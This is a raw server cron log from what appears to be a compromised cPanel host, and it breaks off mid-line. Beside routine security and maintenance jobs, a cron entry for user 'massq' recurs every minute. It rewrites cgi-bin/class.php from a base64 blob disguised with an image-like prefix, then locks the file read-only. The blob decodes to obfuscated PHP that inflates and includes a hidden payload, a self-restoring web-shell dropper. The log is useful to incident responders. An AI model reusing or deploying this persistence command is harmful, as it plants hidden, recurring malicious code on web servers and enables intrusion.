Sep  9 17:50:01 server CROND[18353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:50:01 server CROND[18349]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:50:01 server CROND[18352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:50:01 server CROND[18350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:50:01 server CROND[18351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:50:01 server CROND[18354]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:51:01 server CROND[19169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:51:01 server CROND[19168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:51:01 server CROND[19170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:52:01 server CROND[19614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:52:01 server CROND[19615]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:52:01 server CROND[19616]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:53:01 server CROND[20005]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:53:01 server CROND[20006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:53:01 server CROND[20007]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:54:01 server CROND[20479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:54:01 server CROND[20480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:54:01 server CROND[20481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:55:01 server CROND[20874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 17:55:01 server CROND[20877]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:55:01 server CROND[20879]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 17:55:01 server CROND[20876]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 17:55:01 server CROND[20878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:55:01 server CROND[20881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 17:55:01 server CROND[20880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:56:01 server CROND[21760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:56:01 server CROND[21762]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:56:01 server CROND[21761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:57:01 server CROND[22150]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:57:01 server CROND[22152]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:57:01 server CROND[22151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 17:57:01 server CROND[22153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:58:01 server CROND[22576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:58:01 server CROND[22577]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 17:58:01 server CROND[22578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:59:01 server CROND[23194]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 17:59:01 server CROND[23195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 17:59:01 server CROND[23193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:00:01 server CROND[23634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 18:00:01 server CROND[23636]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 18:00:01 server CROND[23640]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 18:00:01 server CROND[23643]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 18:00:01 server CROND[23642]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 18:00:01 server CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:00:01 server CROND[23646]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 18:00:01 server CROND[23641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 18:00:01 server CROND[23644]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 18:00:01 server CROND[23649]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:01:01 server CROND[24503]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 18:01:01 server CROND[24504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 18:01:01 server CROND[24505]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 18:01:01 server CROND[24506]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0ht